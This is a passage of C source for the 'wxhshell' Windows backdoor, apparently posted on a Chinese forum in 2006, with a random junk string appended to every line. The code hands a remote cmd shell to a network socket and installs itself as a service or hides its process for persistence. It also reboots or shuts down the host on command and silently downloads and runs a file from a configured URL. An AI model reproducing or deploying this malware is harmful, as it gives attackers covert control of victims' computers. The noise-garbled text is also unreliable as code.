      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <7RfBR.9  
    break; x5vzPh`  
  } s`vSt* ]K  
  // 安装 G"Pj6QUva  
  case 'i': { .0 X$rX=  
    if(Install()) ha>SZnKD{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ..$>7y}  
    else P#bm uCOS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M,G8*HI"  
    break; g RU-g  
    }  ;MZbL)  
  // 卸载 pn*d[M|k  
  case 'r': { >w2f8tW`PP  
    if(Uninstall()) I}%mfojC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c}cG<F  
    else J/[7d?hI/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hg&u0AQ2  
    break; ?o>6S EGW  
    } p XNtN5@FQ  
  // 显示 wxhshell 所在路径 J[o${^  
  case 'p': { B3 .X}ys#  
    char svExeFile[MAX_PATH]; QX+Y(P`vMK  
    strcpy(svExeFile,"\n\r"); (zEYpTp  
      strcat(svExeFile,ExeFile); m9I(TOw  
        send(wsh,svExeFile,strlen(svExeFile),0); c}'Xoc  
    break; U,d2DAvt  
    } ~D_ rZ&  
  // 重启 ZR2\ dH*  
  case 'b': { .W-=x,`hY4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]3 j[3'  
    if(Boot(REBOOT)) 8(uw0~GO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x' ?.~  
    else { /O_0=MLp  
    closesocket(wsh); YpiRF+G  
    ExitThread(0); k3 /4Bt G/  
    } DbQBVy  
    break; NC;T( @  
    } L*IU0Jy>  
  // 关机 eoC<a"bJ>  
  case 'd': { eA10xpM0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VrudR#q  
    if(Boot(SHUTDOWN)) 35}P0+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<'10  
    else { ^Jn|*?+l  
    closesocket(wsh); t3 K>\ :  
    ExitThread(0); v(a9#bMZU  
    } G1A$PR  
    break; HoMQt3C  
    } g8Ok ^  
  // 获取shell e5FCqNip'  
  case 's': { ;g6 nHek  
    CmdShell(wsh); x}uwWfe3  
    closesocket(wsh); %odw+PhO  
    ExitThread(0); p-a]"l+L  
    break; i4 P$wlO  
  } @f-0X1C."N  
  // 退出 |%n|[LP'  
  case 'x': { BzN/6VEw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EWSr@}2j .  
    CloseIt(wsh); }1l}-w`F  
    break; h)"'YzCt  
    } XL=2wh  
  // 离开 #cR57=M}  
  case 'q': { }'%$7vL`Ft  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U9bFUK/z  
    closesocket(wsh); :u,2" ]  
    WSACleanup(); "sC$%D<oc  
    exit(1); H 3W_}f  
    break; t!NrB X  
        } [''=><  
  } 4U_rB9K$  
  } ))c*_n  
^.nwc#  
  // 提示信息 v\J!yz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w;@`Yi.WQ  
} AviT+^7E  
  } 1 OuSH+  
0^-z?Kb<}  
  return; 4X<Oux*  
} T]5U_AI@  
dP$y>%cB  
// shell模块句柄 0;. e#(`-  
int CmdShell(SOCKET sock) [R roHXdk+  
{ J+-,^8)  
STARTUPINFO si; ZS07_6.~  
ZeroMemory(&si,sizeof(si)); <h)deB+}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;ndw/GZjR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ly@U\%.  
PROCESS_INFORMATION ProcessInfo; JI28}Cxs0  
char cmdline[]="cmd"; !&W"f#_Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r>n8`W  
  return 0; LA(f]Xmc  
} F>hVrUD8  
?)i6:76(  
// 自身启动模式 M$DwQ}Z  
int StartFromService(void) kW*W4{Fth  
{ 0nF>zOmc  
typedef struct  p1[WGeV  
{ ^/4 {\3  
  DWORD ExitStatus; L>|A6S#y8/  
  DWORD PebBaseAddress; G5C#i7cpm  
  DWORD AffinityMask; cHfK-R  
  DWORD BasePriority; 476M` gA  
  ULONG UniqueProcessId; D(W7O>5vQ2  
  ULONG InheritedFromUniqueProcessId; ;1Tpzm  
}   PROCESS_BASIC_INFORMATION; qX}dbuDE"P  
i1kh@s~8UC  
PROCNTQSIP NtQueryInformationProcess; >xk:pL*o`  
U/~Zk@3j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^$^Vd@t>a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xlgz.j7XR  
f]^J,L9qz  
  HANDLE             hProcess; eFeCS{LV+  
  PROCESS_BASIC_INFORMATION pbi; |$i1]Dr6  
OmQuAG ^\x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zjhR9  
  if(NULL == hInst ) return 0; YjMbd?v  
a-o hS=W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \p_8YC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /-cX(z 7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dh7)N}2  
c9F[pfi(  
  if (!NtQueryInformationProcess) return 0; 5}(YMsUb  
.,(uoK{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o8yEUnqN  
  if(!hProcess) return 0; E,nYtn|B  
7kew/8-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zke~!"iq  
D6 @4  
  CloseHandle(hProcess); )r-|T&Sn  
5>^ W}0s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fuwpp  
if(hProcess==NULL) return 0; Y_TL4  
2&G1Q'!  
HMODULE hMod; H;"N|pBy  
char procName[255]; d}A2I  
unsigned long cbNeeded; e#Zf>hlAz  
L@x8hUG"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t.i9!'Y ]  
Y+5A2Z)f[  
  CloseHandle(hProcess); ?5+KHG*)  
D -\'P31  
if(strstr(procName,"services")) return 1; // 以服务启动 F<'l'AsC-  
'V*M_o(\  
  return 0; // 注册表启动 `0i}}Zo  
} xWI 0s;k  
W Y qL  
// 主模块 ^zs4tCW%  
int StartWxhshell(LPSTR lpCmdLine) GzE3B';g  
{ "/]tFY%Y  
  SOCKET wsl; ]> "/<"  
BOOL val=TRUE; Gxt<kz  
  int port=0; >[3,qP]E  
  struct sockaddr_in door; 7XI4=O};&%  
C%7,#}[U/  
  if(wscfg.ws_autoins) Install(); EG:WE^4  
V<R+A*gY:  
port=atoi(lpCmdLine); QcVtv7+*v  
NCh(-E  
if(port<=0) port=wscfg.ws_port; +!Gr`&w*)  
)|1JcnNSa  
  WSADATA data; !/lY q;$R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;w&yGm  
H\>I&gC'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A2FU}Ym0=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #YMp,i  
  door.sin_family = AF_INET; ^T1-dw(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); blkJm9]v  
  door.sin_port = htons(port); 9^h%}>  
>WS& w;G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .L|ax).D  
closesocket(wsl); sNpBTG@{l  
return 1; CoN/L`.SN  
}  V# %spW  
_+Kt=;Y8  
  if(listen(wsl,2) == INVALID_SOCKET) { 0\<-R  
closesocket(wsl); ;Z~.54Pf{d  
return 1; 8 =Lv7G%  
} 2%yJo7f$[  
  Wxhshell(wsl); J7] 60H#P  
  WSACleanup(); NjyIwo0  
5K-)X9z?  
return 0; hCoL j6Vx  
wef^o"aP  
} 4gNRln-  
nAC#_\  
// 以NT服务方式启动 ._nKM5.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >^ar$T;Ys  
{ Oydmq,sVe(  
DWORD   status = 0; PGhZ`nl  
  DWORD   specificError = 0xfffffff; w1G.^  
h4i $z-!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N9|.D.#MF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D8{HOv;d^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A>2p/iMc  
  serviceStatus.dwWin32ExitCode     = 0; zQ+t@;g1  
  serviceStatus.dwServiceSpecificExitCode = 0; sYP@>tHC  
  serviceStatus.dwCheckPoint       = 0; Y--8v#t  
  serviceStatus.dwWaitHint       = 0; e>Y2q|S85  
[ LDzR7vnf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yE9.]j  
  if (hServiceStatusHandle==0) return; sZDJ+  
E-iBA(H  
status = GetLastError(); iRtDZoiD'  
  if (status!=NO_ERROR) R u-rp^a  
{ l!` 0I] }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w8ld* z  
    serviceStatus.dwCheckPoint       = 0; W-QPO  
    serviceStatus.dwWaitHint       = 0; 5/ju it  
    serviceStatus.dwWin32ExitCode     = status; "-:\-sMt{  
    serviceStatus.dwServiceSpecificExitCode = specificError; >MrU^t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IW_D$pq  
    return; (W!$6+GT  
  } NyLnE  
!17Z\Ltqyj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c `; LF'!  
  serviceStatus.dwCheckPoint       = 0; mK4|=Q  
  serviceStatus.dwWaitHint       = 0; p2(_YN;s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H12@12v  
} 1U7HS2  
V~Lq, oth  
// 处理NT服务事件,比如:启动、停止 Q>yt O'v1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ! fc)  
{ +cH(nZ*f  
switch(fdwControl) ]l%.X7M9  
{ Ti'kn{ Zv  
case SERVICE_CONTROL_STOP: EPRs%(w`  
  serviceStatus.dwWin32ExitCode = 0; <DS6-y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hspg-|R  
  serviceStatus.dwCheckPoint   = 0; >6+K"J-@  
  serviceStatus.dwWaitHint     = 0; efR$s{n!  
  { 3fTI&2:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fk1f'M)/8  
  } $t}1|q|  
  return; ): C4}&l  
case SERVICE_CONTROL_PAUSE: jRAL(r|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;$< ek(i7  
  break; 1bkUT_  
case SERVICE_CONTROL_CONTINUE: mA @+4&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SI5QdX  
  break; YYW70k:  
case SERVICE_CONTROL_INTERROGATE: n`xh/vGm#  
  break; y@_?3m7B=  
}; AAgA]OD,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !*6z=:J  
} 2z3A"HrlA  
RC%r7K f  
// 标准应用程序主函数 'O9=*L) X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f34&:xz2U  
{ Lm#d.AD)  
f4}6$>)  
// 获取操作系统版本 #jiqRhm  
OsIsNt=GetOsVer(); V"iLeC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &Sa~Wtm|*  
MDt?7c  
  // 从命令行安装 ^/vWK\-  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5&= n  
H%aLkV!J  
  // 下载执行文件 FoCkTp+/  
if(wscfg.ws_downexe) { $t'I*k^N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7!w nx.  
  WinExec(wscfg.ws_filenam,SW_HIDE); . *xq =  
} v"~I( kf$  
hATy 3*4  
if(!OsIsNt) { k|'Mh0G0  
// 如果时win9x,隐藏进程并且设置为注册表启动 _!p3M3"$B  
HideProc(); uiA:(2AQ  
StartWxhshell(lpCmdLine); E,yK` mPp^  
} UROi.976D  
else rF3]AW(  
  if(StartFromService()) olxP`iK  
  // 以服务方式启动 JZxF)] ^  
  StartServiceCtrlDispatcher(DispatchTable); F6VIH(  
else |9$'?4F  
  // 普通方式启动 o{W]mr3D  
  StartWxhshell(lpCmdLine); l?_!eA  
m-92G8'  
return 0; b)^ZiRW``  
}
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只看该作者 1 发表于: 2006-10-10
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